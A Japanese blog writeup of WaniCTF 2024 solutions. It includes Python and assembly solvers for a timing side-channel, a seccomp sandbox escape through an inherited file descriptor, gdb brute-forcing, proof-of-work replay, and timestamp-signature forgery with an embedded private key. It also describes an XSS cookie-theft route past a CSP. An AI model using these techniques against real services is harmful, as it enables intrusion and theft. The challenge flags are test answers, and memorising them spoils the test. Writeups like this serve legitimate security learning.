以下の内容はhttps://4equest.hatenablog.com/entry/2024/06/24/011557より取得しました。


WaniCTF 2024 Writeup

Writeup書こうと思ってなかったのでかなり端折ってます。

Forensics

codebreaker

任意の画像編集ソフトで露光量を上げて二値化した。

QRコードの仕様に従ってシンボルなどを復元し、さらに少しでも白いドットがある部分を白色にした。(mspaintで)

このくらい復元されるとスマホなどで読み込むことができる。

I_wanna_be_a_streamer

与えられたpcapファイルからRTPパケットを取り出す。 https://fumimaker.net/entry/2021/03/17/215110 を参考にした。 ここからさらにH.264のストリームを再生できないかと検索していたところ https://github.com/volvet/h264extractor/blob/master/rtp_h264_extractor.lua を見つけたのでそのまま使ったら動画ファイルになった。

tiny_10px

10x10の画像にしてはファイルサイズが大きい。 別のデータが存在している線を疑ったが違うらしい。 Imhexで画像サイズを変更したところ、赤い部分が見えたので、ごにょごにょサイズを変更していたらフラグを入手できた。

Windows 10のメモリダンプっぽいファイルが渡される。 適当にブラウザの履歴を見ていたらhttp://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/という怪しい項目があった。 これをbase64でデコードしたらフラグが得られる。

雑に解きすぎて攻撃が何だったのかもよくわかっていない。

Misc

Cheat Code

チームメンバーが、ハッシュが計算されるのは入力値の各桁が違う場合だけな事に気づいたので、それをもとに時間を計測するコードをGPT-4oに書いていただいた。応答までの時間が短ければハッシュの計算が行われていないので、その桁は合っているということを利用する。

from pwn import *
import time

server = 'chal-lz56g6.wanictf.org'
port = 5000

def find_correct_digit(current_code, position):
    fastest_time = float('inf')
    correct_digit = 0
    for i in range(10):
        test_code = current_code[:position] + str(i) + current_code[position+1:]
        conn.recvuntil(b"Enter the secret code: ")
        
        start_time = time.time()
        conn.sendline(test_code.encode())
        response = conn.recvline()
        elapsed_time = time.time() - start_time
        
        if b"Correct" in response:
            print(conn.recvuntil(b"}").decode())
            conn.close()
            return test_code, True
        
        if elapsed_time < fastest_time:
            fastest_time = elapsed_time
            correct_digit = i
        
    
    return current_code[:position] + str(correct_digit) + current_code[position+1:], False

code = "0000000000"
conn = remote(server, port)
print(conn.recvuntil(b"Enter the cheat code: "))
conn.sendline(b"pwn")

for position in range(10):
    code, found = find_correct_digit(code, position)
    print(f"{position}: {code}")
    if found:
        break

print(f"Found code: {code}")

(たぶん最後のcodeは9じゃない)

toybox

webサーバーはファイルをアップロードするだけの機能しかなく、脆弱性もなさそうなので他を当たる。 10KB以下のファイル(bodyの大きさなのでもっと小さいかも)しかアップロードできないので、gccではなくasとldを使ってアセンブリから実行ファイルを作成することにした。 ただし、アップロードしたプログラムを実行するsandboxでは、ファイルディスクリプタを作成するopenシステムコールが禁止されている。

  scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
  if (ctx == NULL) {
    printf("seccomp_init failed\n");
    return 1;
  }
  
  if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lstat), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) < 0 ||
      seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 1,
                       SCMP_A0_64(SCMP_CMP_EQ, (scmp_datum_t) executable_path)) < 0) {
    printf("seccomp_rule_add failed\n");
    return 1;
  }

そこで、許可されているread、write、stat、fstat、lstat、access、getpid、exit のみを利用する必要がある。 ここで、server.cを確認する。 server.cではcheck_flag関数でフラグが存在するかを確認している。

void check_flag() {
  FILE *fp = fopen("flag.txt", "r");
  if (fp == NULL) {
    printf("flag not available\n");
    exit(1);
  }
}

また、その後にexeclでsandboxを起動している。

  if (execl("./sandbox", "./sandbox", path, NULL) == -1) {
    printf("exec failed\n");
    return 1;
  }

この間、fopenで作成されたflag.txtのfdはそのままである。そして、exec関連で作成されたプロセスは、元プロセスのfdを引きつぐ。 https://www.jpcert.or.jp/sc-rules/c-fio22-c.html

このことを利用して、既にopenされたflag.txtのfdからフラグを読み取って標準出力にwriteするプログラムをGPT-4oに書いていただいた。 flag.txtのfdが7なのはローカル環境で確認した値である。

    .section .bss
buffer:
    .skip 1024          # 1024バイトのバッファを確保

    .section .data
newline:
    .byte 10            # 改行コード

    .section .text
    .global _start

_start:
    # ファイルをfd7から読む
    mov $0, %rax                   # sys_read システムコール番号
    mov $7, %rdi                   # ファイルディスクリプタ 0 (標準入力)
    lea buffer(%rip), %rsi         # 読み込みバッファのポインタ
    mov $1024, %rdx                # 読み込むバイト数
    syscall

    # 読み込んだバイト数を保存
    mov %rax, %rdx

    # 読み込んだ内容を標準出力に書き出す
    mov $1, %rax                   # sys_write システムコール番号
    mov $1, %rdi                   # ファイルディスクリプタ 1 (標準出力)
    lea buffer(%rip), %rsi         # バッファのポインタ
    syscall

    # 改行コードを標準出力に書き出す
    mov $1, %rax                   # sys_write システムコール番号
    mov $1, %rdi                   # ファイルディスクリプタ 1 (標準出力)
    lea newline(%rip), %rsi        # 改行コードのポインタ
    mov $1, %rdx                   # 1バイト書き出す
    syscall

_exit:
    # プログラムを終了する
    mov $60, %rax                  # sys_exit システムコール番号
    xor %rdi, %rdi                 # リターンコード 0
    syscall

これをアセンブルして実行ファイルにし、それをアップロードして実行すればフラグが入手できる。

Reverse

Thread

動的解析しようと思ったけどスレッドへの対応がめんどかったので静的解析をした。 https://dogbolt.org/ の結果を悪魔合体して次のコードを復元した。

char dword_4020[45] = {168, 138, 191, 165, 765, 89, 222, 36, 101, 271, 222, 35, 349, 66, 44, 222, 9, 101, 222, 81, 239, 319, 36, 83, 349, 72, 83, 222, 9, 83, 331, 36, 101, 222, 54, 83, 349, 18, 74, 292, 63, 95, 334, 213, 11};
pthread_mutex_t mutex;
char dword_4140[48];
char dword_4200[46];

int start_routine(int *a1)
{
    int v2;
    int v3;
    int v4;

    v3 = *a1;
    v2 = 0;
    while (v2 <= 2)
    {
        pthread_mutex_lock(&mutex);
        v4 = (dword_4200[v3] + v3) % 3;
        if (!v4)
            dword_4140[v3] *= 3;
        if (v4 == 1)
            dword_4140[v3] += 5;
        if (v4 == 2)
            dword_4140[v3] ^= 0x7Fu;
        v2 = ++dword_4200[v3];
        pthread_mutex_unlock(&mutex);
    }
    return 0LL;
}

int main(int a1, char **a2, char **a3)
{
    int i;
    int j;
    int k;
    int m;
    int v8[48];
    pthread_t th[46];
    char s[56];
    printf("FLAG: ");
    if (scanf("%45s", s) == 1)
    {
        if (strlen(s) == 45)
        {
            for (i = 0; i <= 44; ++i)
                dword_4140[i] = s[i];
            pthread_mutex_init(&mutex, 0LL);
            for (j = 0; j <= 44; ++j)
            {
                v8[j] = j;
                pthread_create(&th[j], 0LL, (void *(*)(void *))start_routine, &v8[j]);
            }
            for (k = 0; k <= 44; ++k)
                pthread_join(th[k], 0LL);
            pthread_mutex_destroy(&mutex);
            for (m = 0; m <= 44; ++m)
            {
                if (dword_4140[m] != dword_4020[m])
                {
                    puts("Incorrect.");
                    return 1LL;
                }
            }
            puts("Correct!");
            return 0LL;
        }
        else
        {
            puts("Incorrect.");
            return 1LL;
        }
    }
    else
    {
        puts("Failed to scan.");
        return 1LL;
    }
}

これに対して頭の悪い方法で文字列をあてるsolverをGPT-4oに作成して頂いた。

dword_4020 = [
    168, 138, 191, 165, 765, 89, 222, 36, 101, 271,
    222, 35, 349, 66, 44, 222, 9, 101, 222, 81,
    239, 319, 36, 83, 349, 72, 83, 222, 9, 83,
    331, 36, 101, 222, 54, 83, 349, 18, 74, 292,
    63, 95, 334, 213, 11
]

def transform_char(char, index):
    dword_4140 = char
    dword_4200 = 0
    for _ in range(3):
        v4 = (dword_4200 + index) % 3
        if v4 == 0:
            dword_4140 *= 3
        elif v4 == 1:
            dword_4140 += 5
        elif v4 == 2:
            dword_4140 ^= 0x7F
        dword_4200 += 1
    return dword_4140

def decode_flag():
    flag = []
    for i in range(45):
        for char in range(256):
            if transform_char(char, i) == dword_4020[i]:
                flag.append(chr(char))
                break
        print(''.join(flag))
    return ''.join(flag)

flag = decode_flag()
print("FLAG:", flag)

単純に逆の計算をすればいいだけなのに、一文字ずつ総当たりしてフラグを取得する。

gates

gdbで動かしてみる。 0x555555555100において、[RAX]とRSIレジスタの値を比較して、入力値が正しいフラグかを確認している。 RSIレジスタの値は[RDX]から取り出されたものだ。 フラグのデータはそのままだったり加算だったりXORで何かしてるっぽいけどよくわからん。 フラグが間違っていると0x555555555105にジャンプする(Wrong!の表示部分)ことと、その時のRDXレジスタの値が0x555555558020(フラグのデータの先頭)から正解の桁数だけずれていることを利用して、一桁ずつ総当たりするプログラムをGPT-4oに作成して頂いた。

import gdb

class BreakpointHandler(gdb.Breakpoint):
    def __init__(self, spec):
        super(BreakpointHandler, self).__init__(spec, type=gdb.BP_BREAKPOINT)
        self.solved_length = 0

    def stop(self):
        # RDXレジスタの値を取得
        rdx_value = int(gdb.parse_and_eval("$rdx"))
        # 0x555555558020 を引く
        offset = rdx_value - 0x555555558020

        # 正解の長さを更新
        if offset > self.solved_length:
            self.solved_length = offset

        return True

def encode_to_hex(input_str):
    return ''.join(f'\\x{ord(c):02x}' for c in input_str)

def test_input(current_input):
    print(f"Testing input: {current_input.encode('utf-8')}")
    hex_input = encode_to_hex(current_input)
    # 標準入力を設定してプログラムを実行
    gdb.execute(f"run < <(printf '{hex_input}')", to_string=True)
    return breakpoint_handler.solved_length

def main():
    global breakpoint_handler

    # 現在の実行ファイルを確認
    current_exe = gdb.current_progspace().filename
    if not current_exe:
        print("Error: No executable file specified.")
        return

    # すべてのブレークポイントを削除
    gdb.execute("delete breakpoints", to_string=True)

    # ブレークポイントの設定(アドレス指定)
    breakpoint_handler = BreakpointHandler("*0x555555555105")

    correct_input = ["\x00"] * 32
    ascii_chars = [chr(i) for i in range(32, 127)]

    for i in range(32):
        for char in ascii_chars:
            current_input = ''.join(correct_input[:i] + [char] + correct_input[i+1:])
            solved_length = test_input(current_input)
            if solved_length > i:
                correct_input[i] = char
                print(f"Found character {i}: {char}")
                break

    final_input = ''.join(correct_input)
    print(f"Final correct input: {final_input}")

if __name__ == "__main__":
    main()

暫く待つとフラグが手に入る。

Web

pow

内部のscriptを確認してみたところ、仮想通貨などでよくあるProof of Workを行う感じらしい。

暫く動かしていると、i=2862152の時のデータが、SHA256の先頭6bytesが0x000000になる。これと同時にサーバーにiが送信されProgressが増加した。 ここで、同じ2862152を何度も送信できないか試したところうまくいったので、それを元に何度も送信するプログラムを作成した。配列にするとその要素数だけProgressも伸びる。

import requests

cookies = {
    'pow_session': 'eyJh...',
}

json_data = [
    '2862152',
]

for i in range(90000):
    json_data.append("2862152")
    

for i in range(12):
    response = requests.post('https://web-pow-lz56g6.wanictf.org/api/pow', cookies=cookies, json=json_data)
    print(response.text)

One Day One Letter

CTFというより実装するだけみたいな内容だった。 pipedreamを用いて、次のようなWeb APIを作成した。 付属のWEBサーバーと違い、timeパラメータで任意の時間のtimestampと署名を作成できる。

import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

privkey = """-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQg1Skgsdupp0G8NsWa
YLwW2Ix2EmpsPAMgHjwkYEYFnTahRANCAATlv/czQknJgs7WRZ+lP+MMzOYzCvnD
ydwG8V5MFB6uNhvYKM2m6pA52mwdvEcUTVTRWkUMMEAiy0YovZIg361c
-----END PRIVATE KEY-----"""
key = ECC.import_key(privkey)
pubkey = """-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE5b/3M0JJyYLO1kWfpT/jDMzmMwr5
w8ncBvFeTBQerjYb2CjNpuqQOdpsHbxHFE1U0VpFDDBAIstGKL2SIN+tXA==
-----END PUBLIC KEY-----"""

def handler(pd: "pipedream"):
    if pd.steps["trigger"]["event"]["path"] == '/pubkey':
          res_body = pubkey
    else:
        timestamp = str(int(pd.steps["trigger"]["event"]["query"]["time"])).encode('utf-8')
        h = SHA256.new(timestamp)
        signer = DSS.new(key, 'fips-186-3')
        signature = signer.sign(h)
        res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})

   # Send the custom HTTP response
    pd.respond({
        "status": 200,
        "headers": {
            "Content-Type": "text/json",
          "Access-Control-Allow-Origin": "*"
        },
        "body": res_body
    })

これに対して12日分のリクエストを送信して一文字ずつ取得するプログラムをGPT-4oに書いていただいた。

import requests
import json
from datetime import datetime, timedelta

contentserver = 'https://web-one-day-one-letter-content-lz56g6.wanictf.org'
timeserver = 'REDACTED.m.pipedream.net'

def get_time(unix_time):
    response = requests.get(f"https://{timeserver}/?time={unix_time}")
    return response.json()

def get_content(time_info):
    headers = {'Content-Type': 'application/json'}
    body = {
        'timestamp': time_info['timestamp'],
        'signature': time_info['signature'],
        'timeserver': timeserver
    }
    response = requests.post(contentserver, headers=headers, data=json.dumps(body))
    if response.status_code == 200:
        return response.text
    else:
        raise Exception(f"Failed to get content: {response.status_code}")

flag = ['?'] * 12

current_time = datetime.now()

for i in range(12):
    target_time = current_time + timedelta(days=i)
    unix_time = int(target_time.timestamp())
    
    time_info = get_time(unix_time)
    content = get_content(time_info)
    
    start_flag = content.find("FLAG{") + 5
    end_flag = content.find("}", start_flag)
    flag_part = content[start_flag:end_flag]
    print(flag_part)
    
    for j in range(len(flag_part)):
        if flag_part[j] != '?':
            flag[j] = flag_part[j]
    print(flag)

complete_flag = ''.join(flag)
print(f"The complete flag is: FLAG{{{complete_flag}}}")

(フラグの内容は忘れました。ごめん。)

Noscript

ユーザープロフィールを生成してそれをcrawlさせる問題。 Profile欄にはHTMLインジェクションの脆弱性があるがCSPによってscriptが実行できない。 default-src 'self'; script-src 'none'なので突破するのも難しいかも。 問題サーバーのソースコードを確認したところ、usernameを取得できるAPIがあった。しかもCSPが設定されていない。

   // Get username API
    r.GET("/username/:id", func(c *gin.Context) {
        id := c.Param("id")
        re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
        if re.MatchString(id) {
            if val, ok := db.Get(id); ok {
                _, _ = c.Writer.WriteString(val[0])
            } else {
                _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
            }
        } else {
            _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
        }
    })

また、このページではUsernameがサニタイズされずに、そのまま表示されるためXSSが実行できる。 ただし、report可能なURI^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$という正規表現によって/user/始まりでないといけない。 そこで、HTMLインジェクションが可能なProfile欄にiframeでXSS可能な/username/を埋め込むことにした。 これでCookieを外部に送信することができる。 ここで、iframeに指定するsrcは/user/UUIDにしないといけない。 crawler側はhttp://app:8080がオリジンになっているので、https:///web-noscript- から始まるURLにすると別オリジン扱いになり動かなくなる。 FLAG{n0scr1p4_c4n_be_d4nger0us}




以上の内容はhttps://4equest.hatenablog.com/entry/2024/06/24/011557より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14